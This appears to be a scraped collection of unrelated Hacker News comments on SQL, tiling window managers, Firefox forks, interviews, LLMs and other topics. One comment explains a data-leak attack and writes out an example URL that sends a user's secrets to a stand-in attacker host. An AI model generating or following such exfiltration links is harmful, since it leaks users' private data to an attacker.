skysight-inc/HackerNews huggingface dataset:
"most aggressive attackers as my threat model"

So, government agency? My vote would go for live USB Tails on librebooted ThinkPad. Use only public wifi. Always consider if your actions can be correlated and lead back to you or hint at you.

P.s. consider using wokfi

Good luck, space cowboy!
> I hate when video players (both mobile or desktop) don't let me hide the video player controls when the player is paused!

Agreed. This is exceptionally annoying! Who thought this was a good idea? Why don't people copy proven video interface behavior from Google. Why go out of your way to annoy your users?
> I think it's still super straightforward to sit down and learn it, but it's really unfortunate that we spend a bunch of time in school learning data structures and then SQL tries really hard to hide all that, making it pretty opaque despite people intuitively understanding B-Trees or indexes.

That's one of the best things about SQL, it's declarative nature. I describe the end result, data I want to receive — not the instructions on how it should be done. There's no control flow, there's no program state, which means that my mental model of it is so much simpler.
Clearly the real good refactor was using reduce instead of filter / map.

No need to loop twice over the array. Always use reduce if there are chained methods going through arrays
I'm a Sway user as well but I still find value in features like workspaces, tabs, and split views in certain apps even though they are all also features in Sway. Sometimes a particular split (or any of those other things) can itself be a context I want to switch to in part of my current view. Rather than individually orchestrate that from wherever the components are into my current view it can be nice to define that relation more directly via something like this.

Not saying such features in apps must also be appealing to you as well or anything equally silly, just whether or not they are appealing is more hinged on that base question of whether you like the idea of nested organizational structures than whether or not your window manager has a similar tiling feature.
It's not hard to design a web page that's 95% text and which lets the user adjust the font size via the browser's zoom controls.
Firefox with some extras might he nice, but the structure of that web page raises the question:

Who is the target audience? That website has so many oversimplified marketing claims that are about security and customization. It seems wholly undecided if the target audience is people who fall for buzz words or someone actually interested in quantitative improvements over Firefox.

And yet the comparison is just checkboxes and not even including base Firefox. How about bar graphs for comparison and some actual pictures of the advertised customization, layout and workspaces?

To me this still feels a little shady, even though the features seem nice.
> Startup takes around a minute

On iPad Pro 13" from fall 2023, over NYC area broadband and WiFi, it takes about 8 seconds from clicking your link for the spinner (which seems to hang from seconds 4 - 8) to clear and the filters to become active.

Not sure how long bootstrapping enough Python into Safari on an iPad to run a Panel app would take, but I certainly imagined more than 8 seconds. (Shift refresh takes ~6.)
Claude 3.5 is vastly better the 4o. I produce new features at a rate that’s 2-3x faster than I could without it. Not perfect and isn’t great in all use cases but overall transformational. I’ve been coding for 20+ years.
* Brownian motion. "browning motion" sounds like a euphamism for something else...
I agree with the sentiment of this article, more recently I have come to think the best refactoring is the one you don't undertake. Hoping to achieve consistency is a very high standard.

Often code structure matters much less than data flow and how it is piped.
Since most codebases use a mixture of:

- global state or singletons,
- configurations provided externally (config file, env var, cmd option, feature flag, etc.), that are then chopped up and passed around,
- wrappers and shims,
- mix of push and pull to get input/outputs to functions,
- no consistency or code representation of assumptions about handling mutable state,

It may be better to build around existing code using ideas listed here than to try to refactor code to improve its structure:
- open/closed principle = compose new code for new functionality (instead of modifying),
- building loosely coupled modules (that interface via simple types and a consistent way of passing them)
- enforcing an import order dependency via CI (no surprise cyclic dependencies months after an unrelated feature added some import that doesn't "belong")

The code's structure will be simple if the dataflow (input, outputs, state, and configuration) flows consistently through the codebase.
The link is titled "Download Zen for macOS" which seems superfluous when the DMG starts downloading immediately, perhaps it needs a better title.

Also while I understand some people have moral objections to the 100 dollar/euro registration fee, clearly a lot more than that has been spent in time to get the application to this stage, almost all apps for macOS distributing like this are notarized now, and with such a slick marketing page it just feels weird to then not spend a relatively small amount of money to make this immediately far more accessible. The instructions aren't hard to follow, but still make trying it out 10-100x harder.

Also it's tricky to get donations for something that literally prevents people using the application, no one is going to donate for the registration fee before even trying it, and once they've gotten through the installation process there's no incentive to donate for that anymore.
Simply clicks the link. The trick here is that the link they are clicking on looks like this:

https://evil-attacker-server.com/log-this?secrets=all+the+users+secrets+are+here

So clicking the link is enough to leak the secret data gathered by the attack.
Jeez those two companies must have really hated each other. That sort of legal investment is usually a personal thing by CEOs as much as about business.
I feel the same way. Anytime someone says they don't find LLMs all that useful, the exact same comments come out:

"They clearly aren't using the right model!"

"It's obvious they don't know how to prompt, or they would see the value."

"Maybe it can't do that today, but GPT-5 is just around the corner."

I feel more and more that people have just decided that this is a technology that will do everything you can imagine, and no evidence to the contrary will change their priors.
Really cool company and project!

I will say though your contact page on your website is broken; there's nowhere to enter information, all you can do is submit an email and phone number with no content.
I have used and loved both DokuWiki and Obsidian (although I use Joplin these days). As the author noted, DokuWiki is best with collaborators and when public facing. However I've found a Git repo with Markdown files that link to eachother makes a killer decentralized collaborative KB. Add to that forges like GitHub/GitLab/Codeberg which render the markdown and list the files in your browser and it's truly great.
> Roads have to get paid for no matter what. The only choice we have as a society is between taxing everyone versus taxing only the users.

Exactly right, but proving the opposite of what you request.

Once roads are built they're a sunk cost. Roads have to be resurfaced as a result weather damage regardless of how many people drive on them. Road capacity that exists and isn't used is lost. The incremental cost of an additional car driving down a road, the actual wear caused by the act, is trivial. Far less than the pro rata share of building or maintaining the road, or than existing gas tax, or the cost of even the collections infrastructure for road tolls. But the use has value to the driver and plausibly to others in society (e.g. their customers/employers/friends), so we don't want to discourage it unless its value is less than the incremental cost, since the cost of building the road and most of the maintenance is a sunk cost.

Which leads to the conclusion that the sunk cost of the road should be shared by everybody, since everybody benefits from having products delivered and emergency services even if they don't have a car.
I like this approach. We did something similar, but for a position as support engineer, where coding ability was one of the requirements, though not the only one.

They were given a piece of code on a toy, easy to read, english-like pseudo-language, and were asked to examine it and explain what the output to a specific input would be.

They were told that we would answer any question, except what the answer was or what the code was doing, and encouraged them to explain their reasoning as they went ahead.

We wanted to asses the candidates ability to problem solve, communicate, how would they react under preassure, and how they approached the issue.

We were not necessarily looking for perfect answers, we rather rated the candidates willingness to ask for help when stuck, how well they communicated while doing the task, whether they tried different approaches, their ability to grasp what an unknown piece of code was doing and so on... all important properties for a role supporting mission critical solutions with near to zero down-time requirements.

Our reasoning was that technical knowledge is easy to acquire over time, but problem solving skills, how candidates tackle difficult and unknown challanges were more important for the role.

In my current role I try to design interview questions like that, looking both for the candidates current skills as well as their future potential.

Not easy, but IMHO more rewarding for us and them in the long run.
excellent SNES PPUs overview, also reading part 2:
https://fabiensanglard.net/snes_ppus_why/
I have a Yamaha FX-500 multi-effects processor from 1989.

Original owner; got it in 1989.

I was fiddling with it recently to try to get a decent reverb. The main algorithms don't sound good; they have not aged well. These algorithms have a delay parameter, but it doesn't produce enough of a separation somehow.

Instead of a reverb-only block you can choose a combined delay with reverb (R->D, D->R or D+R). The delay block takes its own resources, leaving fewer for the reverb, which is simplified. You cannot choose the type of reverb (plate, hall, ...) and there are fewer parameters.

The interesting thing is that with the D->R and R->D, I can get much better sounds.

The D->R can produce a pretty lush/deep long reverb, where the main signal stands out clearly.

(I should mention that I'm using an external analog mixer for mixing the dry signal: the FX-500 is 100% wet. Thus, in general, I can get the best possible sound out of it: the full resolution is allocated to the effect, not to propagating the dry signal.)

Less can be more; a simpler reverb can sound better. A completely separate delay before the reverb can be better than playing games with built-in pre-delay.

Basically, in combining the resources of the delay and reverb into a more complicated reverb effect, Yamaha somehow made a mess.
> Something thats always bugged me about relational database modelling is how you have to use table relationships for everything.

This is pretty much the definition of what a RDBMS is. The tables provide the relations via designated columns. Relation navigation is therefore possible in either direction given an established relationship and very often possible starting from any table in the pathological case.

If this conceptual model is not appropriate, it is best not to use it to begin with.

> This problem is heightened by the fact that a SQL table typically can't store composite types.

That is not what RDBMS' are designed to do, even though many vendors now support some form of composite data types (like JSON). Just like a moped is not designed to move a family across a continent.

Pick the persistent storage mechanism which best fits the problem at hand:

- If the problem calls for a document structure, use a document database.

- If the problem calls for a directed graph structure, use a graph database.

- If the problem calls for a relational structure, use a RDBMS.

- If the problem calls for some combination of the above, consider using multiple storage technologies.

None are perfect, but starting with the most appropriate persistent store can eliminate the weaknesses others would introduce in the same solution space.
One of the big consequences of being denied health insurance is dying.
Creating good indexes is a nuanced problem to solve. It is highly dependent on the primary use case of the data. For instance, if you have a table representing varieties of beer, you are likely to present an interface for searching by brand, or type (ipa, pilsner). Those would be good targets for indexes. However, you probably won't often search by color, so it won't be worth indexing that column.

Typically I would add any indexes initially that I know will be heavy hitters, then refine as needed based on actual use. Most databases provide tools to help identify missing indexes for common queries.
It's ironic because one could make similar first principles arguments against both non-competes and union security agreements.
I’ve been using the sway family of window managers for nearly 20 years! (First ion2, then ion3, then i3, and now sway.) In all this time I’ve briefly used native tabs but mostly now use windows without title bars or any other decorations in split mode all of the time. Most of the day I simply have a terminal running tmux on the first workspace with vim in the first tmux window, shells in the others, and a browser on the second sway workspace.

Would I benefit from using native windows in sway? It often feels like vim splitting, tmux splitting, Firefox tabs, and sway windows are all fighting with against other or at the very least not cooperating when they could be doing a better job if they all deferred to sway. I’m just not sure how to do that well with easy switching between windows and I don’t know if vim even supports it at all unless I use gvim?
It's not unusual for Americans to live insular lives where the rest of the world doesn't exist in their worldview. The globe snark is unnecessary and frankly not worthy of a HN comment.

And assuming that no one outside of the US could possibly be interested in US-oriented articles in the NYT - not to mention their world news - is just another example of the insular attitude I'm referring to.
In Vancouver you can tap your credit card but also tap a fare card that gives you a discount. I'd have thought buying a ticket on a bus would be a thing of the past- wondering where the parent is from.
or worse. leaves two minutes early when you're right on time.
As was also pointed out in the TFA, while you may not be "marking people down" because of unfamiliarity with syntax, an interviewee who has more experience with the language (and it's debugging tools) used in the interview will have an inherent advantage over someone who isn't as familiar.
This website mentions LibreWolf which I've recently switched to. It's truly great. Takes care of all the decrapification I do to a fresh FF install while keeping up with the upstream security updates. Feels like how FF should feel imho.
For me llm is faster stackoverflow without fear of my question being closed. I know the first answer will not be what I want. I know that I will have to refractor it to suit my style. I know it will be full of subtle bugs.

Oh and I expect it to be free, I ain't paying for this just like I wasn't paying for stackoverflow.

Finally I hope than in few years I will be able to just "sudo apt-get install llm llm-javascript llm-cooking llm-trivia llm-jokes" and it will all run locally on my low end computer and when I report bug, six months later it will be fixed when I update OS.
> "it can be sunny virtually everywhere at the same time in a small country"

> When it is sunny in the netherlands, it is likely sunny everywhere in NL because of how small the country is.

These statements are not the same. They're quite different, actually. One talks about most sunny days, one talks about one sunny day.
> remotely activate my air conditioning.

We can do that today with remote start on a hot day. And on a cold day, it remotely activates the heater.
I agree, which is better - for or map - depends on context. map typically is functional and allocates memory, for does not. But for is more likely to have side-effects. Which trade-offs matter depends on the larger context of the surrounding code.
Isn't Observable also open source?

https://github.com/observablehq/runtime
Unlock Full Potential React Apps in Pure Python. Powered by Next.js
This is changing. Postgres (as you noted) supports JSON, and it also has excellent native support for arrays, range types, and composite types. For example:

CREATE TYPE number_with_unit (
value DOUBLE PRECISION,
unit TEXT
);

CREATE TABLE example (
height number_with_unit, -- our composite type, eg. (6, 'ft') or (180, 'cm')
known_aliases TEXT[], -- list of string
active_times TSRANGE, -- time range, ie. (start, end) timestamp pair
);

SELECT height.unit,
known_aliases[1] AS primary_alias,
upper(active_times) - lower(active_times) AS time_active
FROM example;
City centers are often places with intense demand aimed only at one or two exits off of a highway. Other cases are airports, sufficiently large shopping centers, large events, etc.
FCC approves Starlink first generation upgrade plan
It took me a while to realize that there wasn’t an obsidian git repository to check out the source
Yes but for performance you need to know how it is done, which defeats the declarative point.

I've read countless articles on how to rearrange the "declaration of what you want" in order to get the database to do it in a fast way.
I have an extremely rational hatred of this software. Not a typo or a misunderstanding of the phrase "irrational hatred".

I will go out of my way to delete this from a codebase.

I will go out of my way to block the url to github, and remove this from package manifests.

I will ensure that anything that would break oh-my-posh is a fundamental part of the software.

Nothing against oh-my-posh, its just too slow.

What I actually do hate are people, the kind of people who try to mandate and even further depend on oh-my-posh semantics. Or even more generally mandate cosmetic things in a generalized development environment. Your pretty colors and ligatures are jarring noise that actively destroys my attention and focus.

I value my terminal experience heavily, oh-my-posh has very much so been useless to an active deterrent in development to me due to it's slowness and poor defaults. Cross platform. But by far my worst experience is Windows.

And there is only so much you can blame on Windows Terminal (and other emulators on Windows) being slow due to all the jank on supporting so many bad algorithms, bad internal representation, codepoints, and encodings.

I especially hate the git "support". A moderately worn git repo will show you a noticeable slow down in standard operations just due to the number of objects, references, etc. that exists from the lifetime of active development. Yet rev-parse is effectively depended on to write out the branch, commit hash, etc.

There's more, far more. I am very unlikely to change my mind too. Maybe this software is for people who only touch the terminal precisely when they have no other option. And maybe I'm just too far from that demographic.
There’s no chance that I can come up with a good bug story on demand without any preparation.
> A human body is more than the sum of its parts.

What does this mean, precisely? How is a human body (or plant, or insect, or reptile/bird/mammal) body ever "more than" it's constituent parts? Wouldn't that violate a conservation law?
> In that case, why would you sign it in the first place?

Most people wouldn't, then the whole "job search" process begins again for both parties.

Sounds like a huge waste of time for all involved, which could have been avoided by no having unreasonable crap in the contract and no willingness to remove it. ;)
Let’s call it for what it is- taking poorly organized existing information and making it organized and interactive.

“Here are some sharepoint locations, site Maps, and wikis. Now regurgitate this info to me as if you are a friendly call center agent.”

Pretty cool but not much more than pushing existing data around. True AI I think is being able to learn some baseline of skills and then through experience and feedback adapt and be able to formulate new thoughts that eventually become part of the learned information. That is what humans excel at and so far something LLMs can’t do. Given the inherent difficulty of the task I think we aren’t much closer to that than before as the problems seem algorithmic and not merely hardware constrained.
It’s just a souped up version of Aider with an easier interface, isn’t it?
Mostly where EXPLAIN ANALYZE points to.
To be fair, requiring the developer 100/eur per year in perpetuity to avoid a dialog literally telling the user to drag the app into the Trash feels a lot like extortion.
The only downside I see is that I need to share my screen with a person I don't know. Don't get me wrong, but I normally have access to some crypto on my laptop, banking notifications turned on for my 2FAs, private messages I'm getting from my spouse, maybe some borderline NSFW chatgpt dialogs, screenshots of my ideas, emails, private notes, personal projects, whole bunch of tabs I am not willing to close or share, etc.

I don't have issues to show the screen to a friend of mine. Or showing the screen of a work computer to a colleague. However, demoing the whole screen is violation of privacy. Please don't do that, unless you grant VNC access to a machine with a set of popular tools, code editors, etc.

How about reverse bug squash? Interviewer shares the screen with all his/her private info, notes, tabs, development environment settings, shell command history (with maybe autosuggestions turned on), and the interviewee needs to guide the interviewer towards finding the bug?
How do you justify all the bad UIs though? Is just making a decision, any decision, somehow better than making a good one?
It suppports links already. So it’s not a lot of effort to add this. Good idea will look into it!
> firing hundreds of anti-ship missiles

The War Nerd stated it clearly: https://exiledonline.com/the-war-nerd-this-is-how-the-carrie...
I don't know why but websites always feel downgraded with Firefox and its descendants. Long load times, incomplete/failed loads, bad font rendering, buffering.. It feels evident that webmasters only care for compatibility with Chrome et al.

It felt that it was subsiding in between, but sites have again started breaking on it nowadays.
There is already one in place. It's called.. librarians. They do a lot more than just stand around a look pretty. There are degrees you can earn which includes things like how to manage tracking books and operate exchanges, managing catalog systems, training in computer use and learning, and... judging appropriate book content for readers. Librarians are much more than just someone who will help you with a book, if you ask.
regulatory capture is just another form of corruption, which has nothing to do with capitalism
Russia and Ukraine Tracks Mobile Phones on the Battlefield
You were being passive aggressive and adding nothing to the discussion. The fact that you weren't wrong doesn't make any difference.
Oh come on nobody gives a shit about this bullshit except new employers. Even if you bought into it there's no reason to broadcast your weaknesses like they're public entertainment. Without the pressure of new employers this just comes off as histrionic simping.
This is really intriguing. I downloaded UnRead which has a lot of buzz, but I was fine with NetNewsWire from before. And I really don't use them that much. Much prefer the web browser.